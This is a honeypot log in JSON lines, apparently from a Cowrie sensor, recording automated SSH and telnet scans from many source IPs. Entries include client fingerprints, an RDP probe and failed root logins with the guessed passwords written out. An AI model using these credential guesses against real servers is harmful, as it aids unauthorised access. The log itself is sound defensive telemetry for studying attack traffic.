{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:10.660655Z","src_ip":"171.244.141.86","session":"081a8cbf3488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:10.909049Z","src_ip":"171.244.141.86","session":"081a8cbf3488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:11.922150Z","src_ip":"171.244.141.86","session":"081a8cbf3488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41e0c0278d1","protocol":"telnet","message":"New connection: 192.119.13.58:39430 (10.17.0.5:23) [session: d41e0c0278d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:13.094863Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:13.169953Z","src_ip":"171.244.141.86","session":"081a8cbf3488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64890,"dst_ip":"159.203.135.109","dst_port":22,"session":"5905d65ea439","protocol":"ssh","message":"New connection: 167.172.81.52:64890 (159.203.135.109:22) [session: 5905d65ea439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:16.029573Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:16.037537Z","src_ip":"167.172.81.52","session":"5905d65ea439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:16.040878Z","src_ip":"167.172.81.52","session":"5905d65ea439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":47682,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e2f1848169d","protocol":"ssh","message":"New connection: 43.173.125.185:47682 (159.203.135.109:22) [session: 5e2f1848169d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:26.486438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:26.490905Z","src_ip":"43.173.125.185","session":"5e2f1848169d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:26.559010Z","src_ip":"43.173.125.185","session":"5e2f1848169d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carmen","password":"carmen","message":"login attempt [carmen/carmen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:26.863341Z","src_ip":"43.173.125.185","session":"5e2f1848169d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:27.935339Z","src_ip":"43.173.125.185","session":"5e2f1848169d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":58910,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7c4645e3f76","protocol":"ssh","message":"New connection: 170.106.188.200:58910 (159.203.135.109:22) [session: c7c4645e3f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:29.602516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:29.606543Z","src_ip":"170.106.188.200","session":"c7c4645e3f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:29.674855Z","src_ip":"170.106.188.200","session":"c7c4645e3f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2053","message":"login attempt [root/2053] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:29.980394Z","src_ip":"170.106.188.200","session":"c7c4645e3f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:31.055799Z","src_ip":"170.106.188.200","session":"c7c4645e3f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35962,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f31688941c","protocol":"ssh","message":"New connection: 103.27.238.116:35962 (159.203.135.109:22) [session: e0f31688941c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:35.772521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:35.777163Z","src_ip":"103.27.238.116","session":"e0f31688941c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:36.045389Z","src_ip":"103.27.238.116","session":"e0f31688941c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1998","message":"login attempt [root/dima1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:36.846182Z","src_ip":"103.27.238.116","session":"e0f31688941c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:38.117118Z","src_ip":"103.27.238.116","session":"e0f31688941c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.82544183731079,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:45.920202Z","src_ip":"192.119.13.58","session":"d41e0c0278d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65142,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b4e599bfc1","protocol":"ssh","message":"New connection: 152.42.212.128:65142 (10.17.0.5:22) [session: 96b4e599bfc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:50.230476Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:50.235112Z","src_ip":"152.42.212.128","session":"96b4e599bfc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:50.237921Z","src_ip":"152.42.212.128","session":"96b4e599bfc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36490,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1e8ed967d4","protocol":"ssh","message":"New connection: 103.82.132.16:36490 (159.203.135.109:22) [session: 6e1e8ed967d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:52.662139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:52.666725Z","src_ip":"103.82.132.16","session":"6e1e8ed967d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:52.925248Z","src_ip":"103.82.132.16","session":"6e1e8ed967d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uvgx8f8232","message":"login attempt [root/uvgx8f8232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:53.698288Z","src_ip":"103.82.132.16","session":"6e1e8ed967d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:27:54.958714Z","src_ip":"103.82.132.16","session":"6e1e8ed967d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":58246,"dst_ip":"159.203.135.109","dst_port":22,"session":"f37a2d0e1200","protocol":"ssh","message":"New connection: 43.173.125.185:58246 (159.203.135.109:22) [session: f37a2d0e1200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:04.203113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:04.207675Z","src_ip":"43.173.125.185","session":"f37a2d0e1200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:04.275951Z","src_ip":"43.173.125.185","session":"f37a2d0e1200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:04.584439Z","src_ip":"43.173.125.185","session":"f37a2d0e1200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:05.656047Z","src_ip":"43.173.125.185","session":"f37a2d0e1200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":36326,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f59066669a","protocol":"ssh","message":"New connection: 128.0.104.39:36326 (10.17.0.5:22) [session: 36f59066669a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:23.108840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:23.113955Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:23.245888Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:1d:73:35:3b:a1:34:ba:d6:db:99:d0:69:7a:55:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg6elKsPl0cxe95eHMigbmvQR1TSzqXUdaWitz8AV7gvtJnfz16i84kw/6eVGNygmqSw44ljVb3cnf8UZZ//jiZSRYNzEwhJfQLd5sXQRpcJfb9+RmxP3FA+uCSI8Kp80Wh3z+rfOz+RMmI2ZOR9Oscntxjp/v4FjS+BlK5HYFo8a7UrYc/pYxr+38EDU5PcPFVchHMNwq5hw6YWywwaf4wRQ8sEWU80Yknd5fk55B7MaxsYOiH0CghKUOiHQzklEQWBQ0cB/kYBdXtBR0bLpA30K3zuGaZgeJiWEwU+1na7/4GjAlaBKRZkYuoha1xVGKUW1TsUacZuL3rwy4hVcGjjFQkZYY/6poTaUgjJ9xsUTwYBx6dLF619S87flaRO42bL7HLE1Bg0UvPNv0kw+j6hecaHMoOZCTqFhneWHTjHrvp8zQTz0+7aCLfLjQybPGRfb3hsBFCSfBALR4g9N/5FtOws0OQEl0/A8NhEe5Ye92j9Whfg4Do0JMLbptkWU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:1d:73:35:3b:a1:34:ba:d6:db:99:d0:69:7a:55:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:23.837826Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
